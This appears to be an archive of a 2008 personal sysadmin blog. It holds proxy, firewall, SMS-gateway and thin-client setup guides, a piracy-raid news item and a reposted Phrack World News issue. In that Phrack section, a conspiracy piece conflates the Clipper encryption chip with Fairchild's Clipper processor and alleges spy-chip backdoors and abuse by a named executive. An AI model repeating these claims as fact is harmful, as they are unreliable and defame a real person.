src-nat, src-address=192.168.0.0/24 out-interface=ether2 action=srcnat to-addresses=192.168.0.1 to-port=0-65535

2. Table Filter Rules

chain=forward src-address=192.168.0.0/24 dst-address=192.168.0.254 dst-port=3128 in-interface=ether2 out-interface=ether1 action=accept

dengan script ini akhirnya transparent proxy tanpa menggunakan fitur proxy Mikrotik dapat berjalan dengan sempurna.

Firewall Untuk Proxy DansGuardian

2008-09-11T16:07:00.001+07:00

Bagi anda yang membutuhkan firewall bersama DansGuardian. Dapat menginstalasi script berikut.

Siapkan port ke Firewall. Bagian ini memang sifatnya optional, tapi sangat di sarankan. Copy perintah berikut ke file /etc/network/if-up.d/iptables-config

#!/bin/bash
iptables -F
# set the default policy for each of the pre-defined chains
iptables -P INPUT ACCEPT
iptables -P OUTPUT ACCEPT
iptables -P FORWARD DROP
iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# to allow incoming SSH and Proxy
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A INPUT -m state --state NEW -p tcp -m tcp -s 127.0.0.1 --dport 3128 -j ACCEPT
iptables -A INPUT -m state --state NEW -p tcp -m tcp --dport 8080 -j ACCEPT
# drop everything else
iptables -A INPUT -i eth+ -p udp -j DROP
iptables -A INPUT -i eth+ -p tcp -m tcp --syn -j DROP

Pastikan iptables-config dapat di execute / jalankan

# chmod +x /etc/network/if-up.d/iptables-config

Install SSH, Squid cache & DansGuardian

2008-09-11T16:06:00.001+07:00

Install SSH, Squid cache & DansGuardian

# apt-get install openssh-server squid dansguardian

Konfigurasi DansGuardian

# vi /etc/dansguardian/dansguardian.conf

Lakukan

Jika IP address Server adalah, 192.168.0.1. Ubah

accessdeniedaddress = 'http://YOURSERVER.YOURDOMAIN/cgi-bin/dansguardian.pl'

menjadi

accessdeniedaddress = 'http://192.168.0.1/cgi-bin/dansguardian.pl'

Buang / comment kalimat "UNCONFIGURED - Please remove this line after configuration" setelah semua proses konfigurasi selesai.
Ubah variabel 'virusscan' menjadi off, jika anda belum menyiapkan ClamAV untuk DansGuardian. Biasanya di Ubuntu, ClamAV akan terinstall bersama dengan DansGuardian.

Jika anda menggunakan ClamAV, pastikan ClamAV meng-update database yang terbaru menggunakan perintah

# freshclam

Aktifkan SSH, DansGuardian, & Squid cache saat startup

# update-rc.d ssh defaults
# update-rc.d squid defaults
# update-rc.d dansguardian defaults

Restart

# /etc/init.d/networking restart
# /etc/init.d/squid restart
# /etc/init.d/dansguardian restart

selesai

Setup di Sisi Client

Pastikan proxy server di arahkan ke

IP address Server DansGuardian
Port       8080

Sweeping Software "License"

2008-05-31T10:52:00.004+07:00

I dont Know about thats...

But.. you can feel it bro...
If you never know about "license" or "legal license" ....

Java was get sweeping on last many year ago, Riau next ... watching out bro...

on newspaper "Batam Pos" :

Polda Razia Sofware Bajakan
Jumat, 30 Mei 2008

Dua Perusahaan Diperiksa

BATAM (BP) - Business Software Alliance (BSA) bersama Polda Kepri melakukan pemeriksaan terhadap dua perusahaan ternama di Batam, terkait soal penggunaan piranti lunak (software) bajakan pada 22-23 Mei lalu. Dua perusahaan tersebut yakni PT CT yang berkedudukan di Kabil dan PT FI di Mukakuning.

”Dari 170 unit komputer yang diperiksa di PT CT dan 200 unit di PT FI, kami menemukan sejumlah software yang tidak dilengkapi lisensi,” kata Kasat II Tipiter Polda Kepri AKBP Puja Laksana kepada wartawan di Mapolda Kepri, Batam Centre, Kamis (29/5).

Menurut Puja, Polda Kepri sudah berkomitmen untuk memberantas penggunaan software ilegal di Batam. Itu seperti diamanatkan dalam Undang-undang nomor 19 tahun 2002 tentang Hak Cipta.

”Polda Kepri sendiri sudah menandatangani memorandum of understanding dengan BSA, bulan Februari silam untuk menekan penggunaan perangkat lunak bajakan di wilayah hukum di Kepri,” ujarnya.

Bagaimana dengan pembersihan software bajakan di instansi pemerintah? Puja mengatakan, penyelidikan belum mengarah ke sana.

PT CT melalui Group Public Relation, Oka Simatupang saat dikonfirmasi, mengakui adanya pemeriksaan oleh BSA dan Polda Kepri, belum lama ini. Namun kata Oka, tidak benar kalau PT CT menggunakan 170 unit komputer dengan software bajakan.

”Adapun hasil temuan yang ada, hanya ada tiga unit komputer yang di dalamnya terdapat program software bajakan yang dilakukan oleh tiga oknum karyawan. Artinya pihak perusahaan memang tidak pernah menempatkan software bajakan di semua komputer yang ada di PT CT,” jelasnya.

General Affairs Manager PT CT, Naradewa menambahkan, sebelum para karyawan PT CT menerima komputer, masing-masing mereka telah dibekali surat pernyataan.

Adapun isinya, bahwa mereka dilarang untuk mengubah atau menambah software tanpa seizin pihak perusahaan.

”Apabila terdapat masalah di kemudian hari, setiap karyawan harus bertanggungjawab pribadi atas penyalahgunaan komputer khususnya akibat software di luar izin perusahaan,” jelasnya.

Efek Jera

Sementara itu, perwakilan BSA Indonesia, Donny A Sheyoputra mengaku terkejut dengan temuan Polda, di mana satu dari dua perusahaan yang tersandung kasus dugaan penggunaan software ilegal adalah perusahaan asing.

”Penemuan ini penunjukkan belum adanya efek jera bagi pengguna piranti lunak, khususnya di perusahaan asing,” ungkap lelaki yang sering menjadi saksi ahli dalam kasus software bajakan ini.

Seharusnya, lanjut Donny, perusahaan asing memberi contoh pada perusahaan nasional untuk menghargai hak cipta. Pelanggaran terhadap hak cipta itu, merugikan negara karena tidak membayar pajak.

Ia menuturkan, berdasarkan laporan tahunan BSA dan International Data Centre (IDC) 2005 menunjukkan, 87 persen software yang diinstal dalam komputer di Indonesia merupakan hasil bajakan.

”Kerugian negara kala itu sekitar Rp3,2 miliar. Di tahun 2007 meski angka kasusnya menurun, namun kerugian negara justru naik menjadi sekitar Rp3,8 miliar,” ungkapnya. (ros/amx/cr1)

sumber : http://batampos. co.id/edisi- harian/metropoli s/polda-razia- sofware-bajakan. html

.... damned ...

I just want tell you about free software Open Source...
Please.. Joint with us ...
atig
Lets do... Migration with free OS (operating system)
If you want migration on free software open source..
Lets Discuss and make workshop with me...

ID yahoo: yudhadewa
Phone: ?

Safari Browser on Linux

2008-05-14T13:24:00.002+07:00

Wanna using Safari Browser on Linux? its easy bro...

This is a four step guide to get Apple’s Safari browser running on Linux.

Run winecfg, set Windows version to WinXP
Copy the core windows fonts: cp /usr/share/fonts/truetype/msttcorefonts/{Arial,Times_New_Roman}*.ttf ~/.wine/drive_c/windows/fonts/
Download Safari for Windows from the Apple homepage

Or using standard command:
root:# wine file.safari.exe

so .. you will enjoyed ....

yudhax

BUG UBUNTU [danger]

2008-05-13T18:45:00.006+07:00

Find ubuntu bugs on laptop on mode battery [out carger],
get fatal script on /etc/acpi/power.sh
load program hdparm -B 1 on every block device [over maximum].
Thats code can make over "load cycle" on laptop machine .

the Bug can make break off, block device like Harrdisk [or storage on active loading] will get over loading maximum, harddisk will be burn [over hot].

Please Becarefully, if using distro ubuntu. Please using carger for save on Ubuntu perform, laptop mode (external power).

Keep enjoy

---- for completly ----

power.sh should be really reworked, here is why:
-------------ONE------------
in power.sh laptop mode is enabled in this way:
function laptop_mode_enable {
$LAPTOP_MODE start

for x in /sys/bus/ide/devices/*/block; do
drive=$(basename $(readlink $x));
$HDPARM -S 12 /dev/$drive 2>/dev/null
$HDPARM -B 1 /dev/$drive 2>/dev/null
done

for x in /sys/bus/scsi/devices/*/block; do
drive=$(basename $(readlink $x));
$HDPARM -S 12 /dev/$drive 2>/dev/null
$HDPARM -B 1 /dev/$drive 2>/dev/null
done
}
and disabled with a similar function.

now, I don't know about IDE devices, but on my Dell d620, (sata, intel ich7) the hard disk and the dvd show as
"/sys/bus/scsi/devices/0:0:0:0/block:sda" and "/sys/bus/scsi/devices/1:0:0:0/block:sr0".

So I think the script should be "for x in /sys/bus/scsi/devices/*/block*;"
This has fixed the problem on my laptop.
This seems to affect both Edgy and Feisty.
------------TWO-------------
Let laptop mode handle the disks or handle those directly?
As of now laptop mode provides a config file to many things that are done by acpi-support, for example controlling hd with hdparm.
I suggest that all those functionalities are disabled and hidden, leaving laptop mode to care only for sysctl and mount options.
For example as of now the user can have laptop_mode to set his hd spin down timeout to 10 seconds, but just after laptop mode power.sh sets the hd parameters itself, with a value that the uset can not customize.
Should be enough to cut some stuff away from the laptop_mode script and config files.
------------THREE-----------
Following from point two, hd parameters should be tunable by the user, and power.sh should not use "magic values". I suggest to put those somewhere else, maybe in /etc/default/acpi-support.
I know those aren't strictly related to acpi, but all powersaving is already being done by acpi-support.
-----------FOUR------------
When setting an hd aggressive power saving we should also set a longer readahead (hdparm -a 1024 or more)
------------FIVE-------------
It would also be interesting to set laptop_mode and disk powersaving when the lid is closed or let the user use the functions laptop_mode_enable and laptop_mode_disable in some custom scripts.
For this I suggest to move those function in /usr/share/acpi-support/power-funcs once everything else has been taken care of.

UPLOADER Release

2008-05-13T07:53:00.002+07:00

[ UPLOADER ]  The Unix Pekanbaru Loaders ...

.NET Community unix base on Pekanbary city, For the Moderator n learn together
SUN, MAC, BSD, Linux others..

Modulator:
Yudhax
Aedykus

For enjoy make simple life with unix community ...

you can join : on millis
[ http://groups.google.co.id/group/up-loader ]

so...
Lest going up - join

SMS Gateway with Gnokii and PlaySMS

2008-05-13T05:33:00.001+07:00

WARNING !!!
———–
PlaySMS is not save for kids!
But if you’re a kid, and you can meet requirement’s below, you can use
PlaySMS, savely!
Kids must:
1. Not nervous when login to Linux console remotely
2. Able to read and understand README first, INSTALL and then FAQ in
this package
3. Able to use Yahoo! to send join PlaySMS mailing list, and ask good
questions
4. Be serious after this WARNING

REQUIREMENT
———–
Download PlaySMS : http://playsms.sourceforge.net/
Download Gnokii : http://www.gnokii.org/

Minimum Required Hardware
- Web servers hardware
- Disk freespace for software and data disk at least 10 MB
Minimum Required Software
- Operating System *NIX based (Linux preferred)
- Web Server (Apache preferred http://httpd.apache.org)
- Database Server MySQL 3.23.47 or latest stable release (http://
www.mysql.com)
- PHP 4.2.2 or latest stable release with mysql module enabled and CGI
version
(http://www.php.net)
Minimum Required Server Operator (or Developer)
- Understand howto make sure installed PHP has MySQL module enabled
(phpinfo)
- Understand howto create/drop MySQL database
- Understand howto insert SQL statement into created database
- OK to read README, INSTALL, FAQ and other docs :)

Gnokii’s Installation:
1. Extract gnokii source package somewhere (eg: /usr/local/src)
2. Configure it to make sure installation path is in /usr/local
# ./configure –prefix=/usr/local
Note: if you want to change to another directory, you better
understand how to
read source of /path_to_source_of_playsms/bin/* files written in bash
script
3. Make and make install, these actions should install gnokii to /usr/
local
# make
# make install
4. Enter directory named smsd in gnokii source directory, compile and
install smsd
Note: if you use gnokii version <>

PlaySMS Web Interface:
1. It is important to meet all minimum requiments above (Its a must!)
2. Setup a system user named ‘playsms’ to manage PlaySMS
# adduser playsms
# passwd playsms
Note: on some Linux distributions adduser and passwd combined
3. On most Linux distributions actions (2) will create system user and
group named playsms
with home directory /home/playsms, there you will install all PlaySMS
files
4. Create public_html on user’s home directory, if its not already
exists
# mkdir /home/playsms/public_html
5. Extract PlaySMS package somewhere (Place in /usr/local/src if you
want to)
tar -zxvf playsms-x.x.x.tar.gz
6. Copy ‘web’ directory to public_html directory and set owner back to
user playsms again
(for security reason)
# cp -rR web/* /home/playsms/public_html
# chown -R playsms /home/playsms/public_html
# chmod 701 /home/playsms
7. Setup database (import database)
# mysqladmin -u root -p create playsms
# mysql -u root -p playsms < /path_to_source_of_playsms/db/playsms.sql Note: you dont need to use MySQL root access nor this method to setup PlaySMS database, but this is beyond our scope, you should read MySQL manual for custom installation method 8. Edit config.php on playsms web directory (/home/playsms/public_html/ config.php) Please read and fill all fields required carefully 9. Enter bin directory and copy playsmsd and playsmsd_start to /usr/ local/bin # cd bin # cp playsmsd playsmsd_start /usr/local/bin/ 10. Enter /etc/init.d or /etc/rc.d/init.d and look for file rc.local, im sure you’ll found it. Edit that file and put “/usr/local/bin/ playsmsd_start” (without quotes) on the bottom of the file (before exit if theres exit). This way playsmsd_start will be run everytime the system startup 11 Browse http://localhost/~playsms and login using default
administrator user
username: admin
password: admin
12. At this point you should be able to logon PlaySMS webbased
interface.

NOTES
—–
1. It is VERY important to set these settings below on your php.ini
safe_mode = Off
register_globals = Off
magic_quotes_gpc = On
2. Dont forget to read FAQ and CHANGELOG carefully

Thin Client dengan KNOPPIX Terminal Server

2008-05-13T05:31:00.001+07:00

Thin Client / Diskless adalah sebuah komputer yang tidak dilengkapi
dengan media penyimpanan (storage) antara lain : Harddisk, CDROM.
Namun komputer tersebut bisa melakukan booting dan memiliki sistem
operasi sehingga komputer tersebut bisa digunakan untuk kegiatan
sehari-hari. Hal tersebut bisa dilakukan hanya dengan menggunakan NIC
(network interface card) dan komputer yang terhubung dalam jaringan.

Penggunaan thin client/diskless di sistem operasi linux biasanya
menggunakan LTSP (Linux Terminal Server Project). Namun, kali ini kita
akan mencoba fasilitas yang ada didalam Linux KNOPPIX yaitu KNOPPIX
Terminal Server.

Dalam menggunakan KNOPPIX Terminal Server kita punya beberapa cara,
diantaranya :

1. Linux KNOPPIX diaktifkan dari CD-ROM (tanpa di install).
2. Linux KNOPPIX di-copy ke harddisk (booting dari disket).
3. Linux KNOPPIX di-install ke harddisk

Konfigurasi KNOPPIX Terminal Server melalui CD-ROM dan harddisk

Untuk tipe konfigurasi ini kita tidak perlu menginstall Linux Knoppix
ke dalam harddisk. Kita cukup melakukan booting melalui cd-rom seperti
layaknya kita akan menjalankan Linux Knoppix. Setelah proses boot
selesai langkah selanjutnya adalah :

* Konfigurasi network address komputer yang kita gunakan sebagai
server. Untuk proses ini kita bisa menggunakan perintah netcardconfig
atau memilih KNOPPIX->Network/Internet->Network card configuration
dari menu knoppix. Namun, bila ingin sedikit 'macho' anda bisa
mengetikan perintah ifconfig dari shell.

* (sesuaikan dengan konfigurasi jaringan di lingkungan anda).
Use DHCP Broadcast : No
IP Address : 10.10.11.119
Network Mask : 255.255.255.0
Broadcast Address : 10.10.11.255
Default gateway : 10.10.11.3
Name Server : 10.10.1.6

* Setelah konfigurasi network address selesai, selanjutnya anda
tinggal menggunakan perintah knoppix-terminalserver untuk
mengkonfigurasi Knoppix Terminal Server.

setup (Re)configure server and (re)start
available network device : eth0
- (nic yang ingin digunakan untuk Knoppix terminal server)
IP range of addresses : 10.10.11.201 10.10.11.250
- (disesuaikan dengan jumlah client)
Network modules : SIS900.o
- (pilih sesuai dengan NIC pada client)
Performance & Security : secure, masq, dns
- (tambahkan webproxy apabila memiliki RAM diatas 256MB)
Start server : Yes

Agar kita tidak lagi menggunakan cdrom dalam menggunakan Linux Knoppix
karena kita ingin menggunakan cdrom drive kita untuk membuka file dari
CD, maka kita dapat meng-copy seluruh isi cd Linux Knoppix ke dalam
harddisk (partisi FAT, FAT32, NTFS). Setelah itu kita harus membuat
bootfloppy (KNOPPIX -> utilities -> create bootfloppies for KNOPPIX)
untuk bisa boot kedalam Linux Knoppix yang sudah ter-copy di dalam
harddisk. Untuk bootfloppy dibutuhkan 2 disket.

Instalasi Linux KNOPPIX ke harddisk dan konfigurasi KNOPPIX Terminal
Server.

Diatas kita telah mengetahui bagaimana cara untuk melakukan
konfigurasi Knoppix terminal server tanpa menginstall Linux Knoppix
kedalam harddisk. Sekarang, kita akan mencoba mengkonfigurasi Knoppix
Terminal Server dengan kondisi Linux Knoppix sudah terinstall kedalam
harddisk.

Untuk menginstall Knoppix ke dalam harddisk kita bisa menggunakan
perintah knx2hd (untuk knoppix 3.3 keatas) atau knx-hdinstall (untuk
knoppix 3.2 kebawah) kemudian ikuti langkah-langkah yang ada dilayar.
Setelah selesai proses instalasinya, cobalah untuk melakukan booting
melalui harddisk yang sudah terinstall Linux Knoppix.

Langkah selanjutnya untuk melakukan konfigurasi KNOPPIX Terminal
Server adalah sebagai berikut :

1. booting dari CD Knoppix dengan option boot "knoppix 2"
2. kemudian copy file-file KNOPPIX ke dalam directory NFS :
3. cp -Rp /KNOPPIX/* /mnt/hda1/cdrom
- (Jika Linux Knoppix ter-install di hda1)
4. kemudian reboot tanpa CD Knoppix
5. edit /usr/share/knoppix-terminalserver/templates/miniroot/linuxrc
- dari baris ke 242 - 252 adalah sebagai berikut :
# if we have an NFSDIR, try mounting it
if [ -n "$NFSDIR" ]; then
echo -n "${CRE}${BLUE}Trying to mount CD on" \
"${MAGENTA}$NFSDIR${BLUE}...${NORMAL}"
/static/mount -t nfs -o \
ro,rsize=8192,wsize=8192,hard,intr$SECUREOPTIONS \
"${NFSDIR}" /cdrom > /dev/null 2>&1 && MOUNTED="yes"
# unsuccessful? Blank out NFSDIR and see if pump does better
[ -z "$MOUNTED" ] && echo "${RED}Failed.${NORMAL}" && NFSDIR=
fi

dirubah menjadi seperti berikut :

# if we have an NFSDIR, try mounting it
if [ -n "$NFSDIR" ]; then
echo -n "${CRE}${BLUE}Trying to mount CD on" \
"${MAGENTA}$NFSDIR${BLUE}...${NORMAL}"
/static/mount -t nfs -o \
ro,rsize=8192,wsize=8192,hard,intr$SECUREOPTIONS \
"${NFSDIR}" /KNOPPIX > /dev/null 2>&1 && MOUNTED="yes"
# unsuccessful? Blank out NFSDIR and see if pump does better
[ -z "$MOUNTED" ] && echo "${RED}Failed.${NORMAL}" && NFSDIR=
fi

- dari baris ke 304 - 321 adalah sebagai berikut :
FOUND_KNOPPIX=""
if test -f /cdrom/KNOPPIX/KNOPPIX
then
echo -n "${CRE} ${GREEN}Accessing KNOPPIX CDROM image at ${MAGENTA}
$NFSDIR${GREEN}...${NORMAL}"
FOUND_KNOPPIX="true"
else
dropshell
fi
# Harddisk-installed script part version has been removed
# (KNOPPIX can be booted directly from HD now).
# DEBUG
# echo "6″ > /proc/sys/kernel/printk
$INSMOD /modules/cloop.*o file=/cdrom/KNOPPIX/KNOPPIX
mountit /dev/cloop /KNOPPIX "-o ro$SECUREOPTIONS" || FOUND_KNOPPIX=""

dirubah menjadi seperti berikut :

FOUND_KNOPPIX=""
#if test -f /cdrom/KNOPPIX/KNOPPIX
#then
echo -n "${CRE} ${GREEN}Accessing KNOPPIX CDROM image at ${MAGENTA}
$NFSDIR${GREEN}...${NORMAL}"
FOUND_KNOPPIX="true"
#else
#dropshell
#fi
# Harddisk-installed script part version has been removed
# (KNOPPIX can be booted directly from HD now).
# DEBUG
# echo "6″ > /proc/sys/kernel/printk
#$INSMOD /modules/cloop.*o file=/cdrom/KNOPPIX/KNOPPIX
#mountit /dev/cloop /KNOPPIX "-o ro$SECUREOPTIONS" || FOUND_KNOPPIX=""

6. jalankan knoppix-terminalserver
7. kemudian, lakukan boot pada client

Konfigurasi Diskboot untuk client
Setelah proses diatas selesai semua, yang harus dilakukan kemudian
adalah membuat diskboot untuk client (yang NICnya tidak memiliki
fasilitas (PXE/bootrom). Untuk NIC yang memiliki bootrom kita tinggal
mengeset bios agar boot sequencenya dimulai dari network boot.

Untuk membuat diskboot adalah dengan cara men-download diskboot image
dari http://rom-o-matic.net/5.2.5/ . Cari boot image sesuai dengan
tipe dan merek NIC yang anda gunakan. Pada ROM output format pilih
Floppy bootable ROM Image (.zdsk) kemudian Get ROM.

Setelah selesai proses download, langkah selanjutnya adalah menulis
file tersebut kedalam disket dari shell dengan perintah :

cat eb-5.2.5-tipeNICanda.zdsk > /dev/fd0

Gunakan disket tersebut untuk boot dari komputer client.

Pemanfaatan Thin Client dengan KNOPPIX Terminal Server

Thin client dapat digunakan untuk berbagai keperluan. Diantaranya
adalah untuk client warung internet (warnet) atau pusat komputer di
institusi pendidikan (sekolah atau kampus). Thin client sangat
memudahkan dalam hal pemeliharaan sistem karena sifatnya yang terpusat
di server sehingga client tidak perlu di-install sistem operasi dan
aplikasinya. Hal ini bisa mengurangi beban administratornya .

Referensi : www.knoppix.net

Knoppix Diskless via FreeBSD (PXE-mode)

2008-05-13T04:52:00.003+07:00

Steps :

1. "Copy all content" cd knoppix to freebsd server (ex. /usr/diskless/)
cp - Rp /cdrom/* /usr/diskless

2. make directory for save kernel linux/diskless
mkdir /tftpboot

3. edit file /etc/inetd.conf and erase comment(#) from tftp
vi /etc/inetd.conf

4. restart inetd

5. configurasi file dhcpd.conf

6. Add : filename “/pxelinux.0″ -> on file configurasi
dhcpd.conf

7. Add : option-root-path “192.168.0.1:/usr/diskless” -> (/usr/
diskless : up to you about name directory) on file configurasi
dhcpd.conf. 192.168.0.1 -> ip server for save image knoppix
(using NFS).

8. starting dhcpd
/usr/sbin/dhcpd

9. copy file vmlinux, pxelinux.0, boot.msg, logo.16, pxelinux.cfg/
default dari directory /tftpboot ->boot via knoppix condition

10. boot via client

Phrack World News [ IP Speedy World ]

2008-04-24T09:58:00.005+07:00

==Phrack Inc.==

Volume 0x0c, Issue 0x41, Phile #0x03 of 0x0f

|=--------------------------------------------------------------------=|
|=-----------------------=[ Phrack World News]=-----------------------=|
|=----------------------------=[ by TCLH ]=---------------------------=|
|=--------------------------------------------------------------------=|

The Circle of Lost Hackers is looking for any kind of news related to
security, hacking, conference report, philosophy, psychology, surrealism,
new technologies, space war, spying systems, information warfare, secret
societies, ... anything interesting! It could be a simple news with just
an URL, a short text or a long text. Feel free to send us your news.

We didn't get any news from the Underground since our last phrack issue,
it means that one more time all the news reports are coming from
friends of our's.

It would be good if people who claim themself "underground" would send
us their news...

Is our underground dead?

1. Speedy Gonzales news
2. How is CSPP controlloing US education network?
3. Retrospective of underground scene
4. Killer robots
5. Meaningful IP addresses

--------------------------------------------

--[ 1.

*-[ The underground complot: when quebec scene takes too much LSD ]-

http://www.mindkind.org/mindkind1011.zip

*-[ "king of the carders" but busted ]-

http://www.theregister.co.uk/2007/09/18/max_butler_affidavit/

*-[ "secure area" and "Microsoft" don't belong in the same sentence ]-

http://www.stuff.co.nz/4269090a28.html

*-[ Being an ethical hacker is definitely not a good idea ]-

http://www.smh.com.au/news/security/police-swoop-on-hacker-of-the-year/2007
/11/15/1194766821481.html?page=2

*-[ When NSA teaches you how to hack ]-

https://www.hackerdegree.com

Do they read phrack? :)

*-[ When Phrack is a sponsor without its permission ]-

http://conference.hackinthebox.org/hitbsecconf2007kl/?page_id=65

*-[ Terrorism excuse is good for spying business ]-

http://www.corpwatch.org/article.php?id=14821

SAIC...

*-[ Entersect sounds like an interesting target...]-

http://www.washingtonpost.com/wp-dyn/content/article/2008/
04/01/AR2008040103049_pf.html

*-[ Want to work for MI6? ]-

http://news.bbc.co.uk/player/nol/newsid_6150000/newsid_6153000/
6153092.stm?bw=bb&mp=rm&nol_storyid=6153092&news=1

*-[ Flight "not" Simulator ]-

http://www.theregister.co.uk/2008/01/07/
boeing_dreamliner_hacker_concerns/

*-[ This design looks familiar...]-

http://hex90.org/

*-[ After hacking your brain: hacking your heart!]-

http://packetstormsecurity.org/papers/attack/icd-study.pdf

--[ 2. How is CSPP controlling US education network ]--
by dahut

http://www.mccullagh.org/db9/d30-32/kay-rosen-holleyman-1.jpg

The above picture shows Ken Kay, executive director of the Computer
Systems Policy Project on the left and Robert Holleyman, president and
CEO of the Business Software Alliance on the right.

CSPP (www.cspp.org) was created in 1989, and later on renamed as
Technology CEO Council. Bigger members are Applied Material, Dell, EMC,
HP, IBM, Intel, Motorola, NCR and Unisys. All these companies together
are generating 300 billion dollars of annual revenues.

The company was made on request of the US President, to promote
U.S. competitiveness through technology leadership. You can think
technology is for information technology. You are wrong. It's for
Intelligence technology.

The project is two steps. First is to invent a spy chip and
put it in every computer manufactured in US. So did Fairchild
(http://en.wikipedia.org/wiki/Fairchild_Semiconductor) by producing the
Clipper chip (http://en.wikipedia.org/wiki/Clipper_architecture).
The Clipper was designed with internal circuitry to encrypt information
and deliver backdoor capabilities, a little bit as the previous PROMIS
software was doing with Mainframe.

The Clipper was designed for RISC workstation. After a bankruptcy of
Fairchild, and seeing that Hitachi was interested to acquire the company,
the US government requested Intergraph to continue the project. So
they did by starting the production of a new UNIX workstation line,
named Interpro32 and running AT&T Unix operating system.

So, the operating system was containing code to activate the secret
part of the CPU, and access to users' data. The following declassified
document explains to the US administration how dangerous it could
be to continue to use the Clipper chip in conjunction with AT&T:
http://www.softwar.net/bush.html. CIA and NSA are involved in this
document.

Now that the main US chipset and computer manufacturers are in the
secrets of the CIA intelligence, let's go for step two.

In 1996, the US president Clinton did ask to create the CEO Forum,
managed by Ken Kay, to establish the best rules for the future
classrooms, assuming they will be well connected to the Internet, with
the best possible hardware. Members were Apple, Dell, IBM, Compaq, HP,
Sun... Next, the US government did ask again to Ken Kay in 2002 to
create the Partnership for 21st Century Skills to be at the center of US
K-12 education by building collaborative partnerships among education,
business, community and government leader (www.21stcenturyskills.org). It
was a follow up to the CEO Forum.

Members are:

* Adobe, AOL, Apple, AT&T, Cisco, Dell, Intel, Microsoft, SAP, Oracle...
* National Education Association, Ford Motor Company (?) and the US
Department of Education

Ken Kay is in charge of driving all these companies to install computer,
software and networks systems in all schools of USA, as well as dictating
the content of the courses!

Thinking back to the picture in front of this article, you can make
the connection between all software companies, the BSA company and Ken
Kay. Thanks to the clipper chip success, they all know how to watch you!
The cherry on the cake will be to tell you that Ken Kay is managing WWASP,
the largest world network of special establishment for "Teens In Crisis".
www.wwasp.com

http://en.wikipedia.org/wiki/World_Wide_Association_of_Specialty_Programs_
and_Schools

Many parents are complaining against the treatment methods employed by
WWASPS institutions. These methods are said to be controversial, as there
have been allegations of severe (sexual) abuse and torture by staff.
In 2004, during a testimony, Ken Kay stated that in his opinion, sexual
activity between staff members and students is "not necessarily abuse".
How do you explain that Ken Kay is controlling the whole US computer
industry, as well as the US education, and able to manage a galaxy of
establishments doing sexual abuses in its total acceptation? (See also
http://antiwwasp.com/)

--[ 3. Retrospective of The Underground scene ]--
by Duvel

Almost one year after the release of "A brief History of the Underground
Scene", it's now time to give some feedback. First of all, The Phrack
Staff and I would like to thank you all for your positive and negative
comments about this article. The goal of this article was not to
explain what the scene once was or what should be but more to provoke
the debate. And on this point the article was a success. Now it's time
to act.

About the negative comments that I had, I won't reply to each of one.
As you have probably seen, I didn't reply to any negative or positive
comments (except one at the beginning...my bad) I prefer let people
talk. But I was quite amused to see negative comments which for the
majority were on some insignificant points (speech recognition is not
datamining, this guy doesn't know subnets, underground pyramid is for
Holywood magazine or hacking tricks are too lame). It would be stupid
to reply to them. So I won't.

One of the thing that I am the most happy about is that a lot of young
generations of hackers have found this article interesting and found their
way through it. As you have probably seen, there is another article about
the Underground scene in this issue. Anonymous' opinion is opposite
to mine but if you read beetween the lines, we both go to the same
direction.

Of course it's important to understand the history of hacking (what
I tried to explain in my article) or how the underground died (what
Anonymous tries to explain in his article) but it's more important
to keep hackers alive. Even if the Underground won't ever be the same,
the passion is still there. It's this passion of hacking that should
stay alive.

I really hope that all people who gave constructive comments can
participate to the new Underground. A lot of people talk but don't do
anything. I've seen lots of interesting comment from people who want to
do something but at this stage we haven't seen anything from them. Are
these people too busy? Are these people just dreamers? Are these people
lacking required knowledge? Are these people....? I don't know.

But this message is for these people: please stop talking but try to bring
something to new generation of hackers.

They need you.

--[ 4. Killer robots ]--

My roomba can get lost under the dining room table, bumping off
the chair legs, over and over. There are many routes of escape,
but it rarely finds one. Only a true genius could turn this
remarkable example of AI into a killing machine.

http://blog.wired.com/defense/2007/10/roomba-maker-un.html
--------------------------------------------------------------------
The makers of the cuter-than-cute robotic vacuum cleaner are
rolling out a new machine: A big, fast-moving, semi-autonomous
'bot capable of killing a whole bunch of people at once.

Unlike other armed robots -- which are entirely remote-controlled
-- the Warriors are "being engineered with advanced software,
giving them the ability to perform some battlefield functions
autonomously."

At the same time, a key dimension to the Warrior X700 is its
ability to protect soldiers by firing weapons such as a machine
gun or 40mm explosive round.
--------------------------------------------------------------------

Bring in the big guns.

http://blog.wired.com/defense/2007/10/robot-cannon-ki.html
--------------------------------------------------------------------
We're not used to thinking of them this way. But many advanced
military weapons are essentially robotic -- picking targets out
automatically, slewing into position, and waiting only for a
human to pull the trigger. Most of the time. Once in a while,
though, these machines start firing mysteriously on their own.

During the shooting trials at Armscor's Alkantpan shooting range,
"I personally saw a gun go out of control several times," Young
says. "They made a temporary rig consisting of two steel poles on
each side of the weapon, with a rope in between to keep the
weapon from swinging. The weapon eventually knocked the pol[e]s
down."

Mangope told The Star that it "is assumed that there was a
mechanical problem, which led to the accident. The gun, which was
fully loaded, did not fire as it normally should have," he said.
"It appears as though the gun, which is computerised, jammed
before there was some sort of explosion, and then it opened fire
uncontrollably, killing and injuring the soldiers."

But the brave, as yet unnamed officer was unable to stop the
wildly swinging computerised Swiss/German Oerlikon 35mm MK5
anti-aircraft twin-barrelled gun. It sprayed hundreds of
high-explosive 0.5kg 35mm cannon shells around the five-gun
firing position.

By the time the gun had emptied its twin 250-round
auto-loader magazines, nine soldiers were dead and 11 injured.
--------------------------------------------------------------------

Can I play too?

http://blog.wired.com/defense/2007/12/new-killer-bot.html
--------------------------------------------------------------------
The stars: "a 25-year-old self-taught engineer named Adam
Gettings" and his "toy-like but gun-wielding robot designed to
replace human soldiers on the battlefield."

Gettings' company doesn't have much of an online signature -- not
even a website. But he does have some interesting partners,
including former Disney imagineer Terry Izumi (who cooked up this
video for the 'bot) and shotgun maker Jerry Barber (who provided
the firepower). Blackwater has also endorsed the product,
allegedly.
--------------------------------------------------------------------

Blackwater and Disney? Who could ask for better qualifications?
Oh, and there's this cool marketing video.

http://money.cnn.com/video/ft/#/video/fortune/2007/12/04/robotex.fortune

Robot wars, anyone?

http://blog.wired.com/defense/2007/05/top_war_tech_5_.html
--------------------------------------------------------------------

"The Baghdad bomb squad used their iRobots to decorate their
shop," Noah reported after an embed with an Army
ordnance-disposal unit a couple years back. "Not far away, at the
U.S. military's central robot depot for Iraq, the iRobots sat on
shelves, serenely gathering dust, while Foster-Miller's Talon
robots would come back, scarred and in pieces, after being chewed
up by a bomb."

The company noted that war zone "Robot Hospitals" are repairing
